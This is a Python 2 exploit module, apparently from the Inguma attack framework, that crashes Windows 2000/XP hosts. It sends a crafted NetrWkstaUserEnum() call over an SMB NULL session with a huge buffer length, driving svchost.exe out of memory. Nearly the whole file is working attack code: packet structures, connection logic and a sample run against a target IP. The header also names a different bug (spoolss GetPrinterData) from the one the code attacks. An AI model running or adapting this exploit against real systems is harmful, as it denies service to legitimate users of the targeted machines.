#!/usr/bin/python

#
# MS Windows spoolss GetPrinterData() Memory Allocation Remote DoS Exploit
#
# Based on an exploit released by h07 <h07@interia.pl>
#
# Copyright (c) 2006, 2007 Joxean Koret
# Copyright (c) 2006 h07 <h07@interia.pl>
#
# MS Windows Workstation Service NetrWkstaUserEnum() 0day Memory Allocation Remote DoS Exploit
# Bug discovered by h07 <h07@interia.pl>
# Tested on:..
# - Windows XP SP2 Polish
# - Windows 2000 SP4 Polish + All Microsoft Security Bulletins
# Example:
#
# wks_dos.py 192.168.0.2 512
#
# [*] MS Windows NetrWkstaUserEnum() 0day Memory Allocation Remote DoS Exploit
# [*] Coded by h07 <h07@interia.pl>
# [*] Connecting to 192.168.0.2:445 (NULL Session)
# [+] Connected
# [+] The NETBIOS connection with the remote host timed out.
# [+] 192.168.0.2: Out of memory
# [+] Done
#
# NetrWkstaUserEnum(max_len = 1024 * 1024 * 512)
# Exploit --> NULL Session --> PIPE: browser --> NetrWkstaUserEnum() --> Windows XP
# svchost.exe memory usage: 512 MB
#

from impacket.structure import Structure
from impacket.nmb import NetBIOSTimeout
from impacket.dcerpc import transport
from impacket import uuid
from struct import pack
from sys import argv

from lib.libexploit import CIngumaModule

name = "wksdos"
brief_description = "MS Windows NetrWkstaUserEnum Mem. Allocation DoS"
type = "exploit"
affects = ["MS Windows 2000 SP4", "MS Windows XP SP2"]
description = """
Microsoft Windows 2000 SP4 and XP SP2 are vulnerables to a denial of service condition
which allows to consume excesive memory amounts, denying service to legitimate users."""
patch = "No patch at the moment"
category = "dos"
discoverer = "h07 <h07@interia.pl>"
author = "Joxean Koret <joxeankoret@yahoo.es>"

def utf16(str):
   return str.encode('utf_16_le')

class B1(Structure):
   alignment = 4
   structure = (
       ('id', '<L=0x41414141'),
       ('max', '<L'),
       ('offset', '<L=0'),
       ('actual', '<L'),
       ('str', '%s'),
   )

class NetrWkstaUserEnum(Structure):
   alignment = 4
   opnum = 2
   structure = (
       ('server', ':', B1),
       ('info_level1', '<L=1'),
       ('info_level2', '<L=1'),
       ('referent_id1', '<L=0x42424242'),
       ('num_entries', '<L=0'),
       ('null_pointer', '<L=0'),
       ('max_len', '<L'),
       ('referent_id2', '<L=0x43434343'),
       ('enumeration_handle', '<L=0x00000000'),
   )

class CNetrWkstaUserEnumDos(CIngumaModule):

    target = ""
    waitTime = 0
    timeout = 1
    exploitType = 2
    results = {}
    memorySize = 1024
    wizard = False

    def run(self):
        print
        print "Trying to exploit ..."
        print

        pipe = 'browser'
        UUID = ('6bffd098-a112-3610-9833-46c3f87e345a', '1.0')
        host = self.target

        stringbinding = "ncacn_np:%(host)s[\\pipe\\%(pipe)s]"
        stringbinding %= {'host':host, 'pipe':pipe}

        MB = 1024 * 1024

        if self.wizard:
            res = raw_input("Memory size [1024]: ")

            if res != "":
                self.memorySize = int(res)

        memory_size = MB * self.memorySize
        query = NetrWkstaUserEnum()
        server = "%s\x00" % (host)
        query['server'] = B1()
        query['server']['id'] = 0x41414141
        query['server']['actual'] = len(server)
        query['server']['max'] = len(server)
        query['server']['str'] = utf16(server)
        query['max_len'] = memory_size

        trans = transport.DCERPCTransportFactory(stringbinding)

        print "[*] Connecting to %s:445 (NULL Session)" % (self.target)

        try:
          trans.connect()

        except Exception, err:
          print "[-] %s" % (err)
          return False

        print "[+] Connected"

        dce = trans.DCERPC_class(trans)
        dce.bind(uuid.uuidtup_to_bin((UUID[0], UUID[1])))
        dce.call(query.opnum, query)

        try:
          raw = dce.recv()
          status = raw[-4:]

          if(status == pack("<L", 0x00000005)):
              print "[-] Return code: Access denied"
              return False

          if(status == pack("<L", 0x00000008)):
              print "[-] Return code: Memory allocation error, out of memory"
              return False

          if(status == pack("<L", 0x00000000)):
              print "[+] Return code: Success, memory allocated"

          return False
        except NetBIOSTimeout, err:
          print "[+] %s" % (err)
          print "[+] %s: Out of memory" % (host)

        print "[+] Done"
        return True

    def printSummary(self):
        pass
